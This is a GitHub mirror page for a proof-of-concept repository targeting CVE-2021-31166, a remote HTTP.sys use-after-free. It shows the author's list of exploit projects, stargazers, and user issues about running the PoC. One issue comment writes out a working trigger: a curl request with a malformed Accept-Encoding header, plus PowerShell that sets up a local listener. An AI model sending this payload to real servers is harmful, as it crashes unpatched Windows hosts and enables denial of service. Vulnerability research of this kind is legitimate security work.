0vercl0k / cve-2021-31166 Goto Github PK

Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.

License: MIT License

Python 100.00%

accept-encoding cve-2021-31166 http ulpparsecontentcoding

cve-2021-31166's Introduction

Hello, world 👋

If you made it all the way here, you might as well check out some of my projects and where I blog 😊. Oh, and if you want to say hi, come hangout on the Diary of a reverse-engineer's discord: invite!

Windows related

wtf: A distributed, code-coverage guided, customizable, cross-platform snapshot-based fuzzer designed for attacking user and / or kernel-mode targets running on Microsoft Windows,
windbg-scripts: A collection of JavaScript debugger extensions for WinDbg,
kdmp-parser / udmp-parser: C++ libraries to parse Windows kernel and usermode dumps (udmp-parser-rs / kdmp-parser-rs for Rust crates),
🔮 clairvoyance: Visualize the virtual address space of a Windows process on a Hilbert curve,
symbolizer-rs: A fast execution trace symbolizer for Windows that runs on all major platforms and doesn't depend on any Microsoft libraries,
SiC: Enumerate user mode shared memory mappings on Windows,
KEPaboo: Neutralize KEPServerEX anti-debugging techniques,
rp-bf.rs: A library to bruteforce ROP gadgets by emulating a Windows user-mode crash-dump,
Various CVE PoCs for tcpip.sys (CVE-2021-24086), http.sys (CVE-2021-31166), Hyper-V (CVE-2021-28476), Realtek's RTKVHD64.sys driver (CVE-2021-32537) and the Mozilla browser (CVE-2022-28281),
Modern Debugging with WinDbg Preview: Workshop that @hugsy and I ran during Defcon 27.

Exploitation

Paracosme: Zero-click remote memory corruption exploit that compromises ICONICS Genesis64 (Pwn2Own Miami 2022),
Longue vue: Over-the-web remote compromise exploit chain for NETGEAR DGND3700v2 devices,
Zenith: Remote kernel exploit for the TP-Link AC1750 Smart Wi-Fi Router (Pwn2Own Austin 2021),
Pwn2Own Miami 2023: Writeups/PoCs for bugs I found while preparing for Pwn2Own Miami 2023 targeting UaGateway in the OPC UA Server category,
CVE-2019-11708: Full chain for CVE-2019-11708 & CVE-2019-9810,
CVE-2019-9810: RCE exploit for Firefox on Windows.

Misc

rp: A fast C++ ROP gadget finder for PE/ELF/Mach-O x86/x64/ARM binaries,
z3-playground: A bunch of Z3-python scripts that can be used as examples, reminders, etc.
Theorem prover, symbolic execution and practical reverse-engineering: Presentation I gave in Lille, France in 2015,
teesee-calc: A simple web application that allows you to visualize and compare total compensation packages.

cve-2021-31166's People

Contributors

Stargazers

Watchers

Forkers

tounsi007 sofienelkamel itsmenaga actorexpose infernalheaven reverse-ex timb-machine-mirrors jsdryan rapper-zc freefv zjiehu crackercat fengzihk knooow vbty taiji-xo raystyle securitycomplicance bigbigx atsud0 toolsec bb33bb harry1080 dycsy jeromeyoung z3p5 jiangminghua paradiseduo xalxl y360u jindom momika233 irony0egoist whitesharks yanshu911 pa55w0rd zhouzu titounkle qqvirus yuanxiangyua nocomp efstratios atxiu chenhao1130 rebootorz pirenga zsecducna thecryinggame aqimmm sesyi dorkerdevil dk47os3r phuonglpb richardsonjf ashr miguellopes sec99 syh4ck im-hanzou takester lingnan-normal-union tehseensagar chunhualiu sgnls chackco fdlucifer vhumint materaj2 idkwim njahrckstr chosen1 tai-rex bigbrobro crisprss 419066074 thebigplate conanjun aekras1a xthkeer dnlinyj zzcentury hexing19 mahmudul-cis-diu bokou30 rythmstick vinhduong valerian7 trendingtechnology mjqaljqn coollce tiamat-tech null0b deepwebhacker beerandgin bgsilvait takianfif istoliving hartl3y94 c0de3 minkione

cve-2021-31166's Issues

Could you possibly mentioned version number?

I am using Windows 10 Version IIS version 20H2 for x64 Systems. and when I am trying PoC and perdform manually using burpsuit. It is showing 400 response.
Could you help me out?

Version details

PoC

Question - Comment

I think you can use curl to exploit as well. Likely local privilege escalation, since a normal user can register a listener on a high port.

$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://localhost:8080/') 
$listener.Start()
curl.exe -H 'Accept-Encoding:  doar-e, ftw, imo, ,' http://localhost:8080/

Also which tool are you using to reverse with, for the images? Very cool

Cheers

D:\git\Vulnerability\CVE\CVE-2021-31166>C:\python27\python.exe cve-2021-31166.py --target=172.23.240.1
File "cve-2021-31166.py", line 9
r = requests.get(f'http://{args.target}/', headers = {
^
SyntaxError: invalid syntax

D:\git\Vulnerability\CVE\CVE-2021-31166>

Is the successd result is response status code was 200?

I just want to verify some assets, but I don't know the status code of 200 results of poc is successful?

<Responce [200]>

Hello! OS Windows-Server-2016-Standard, try:
python3 cve-2021-31166.py --target X.X.X.X
But <Responce [200]>. This is because OS not from trouble list: Windows Server version 2004 (or 20H1) , Windows 10 Version 2004 (or 20H1), Windows Server, version 20H2, Windows 10 Version 20H2?

Connection timed out

On Linux the command
python3 cve-2021-31166.py --target=192.168.0.112
hangs then fails with connection timed out error. Target is a Windows 10 20H2 64 bit machine that (I believe) wasn't updated in 3 weeks. Does that mean it isn't vulnerable?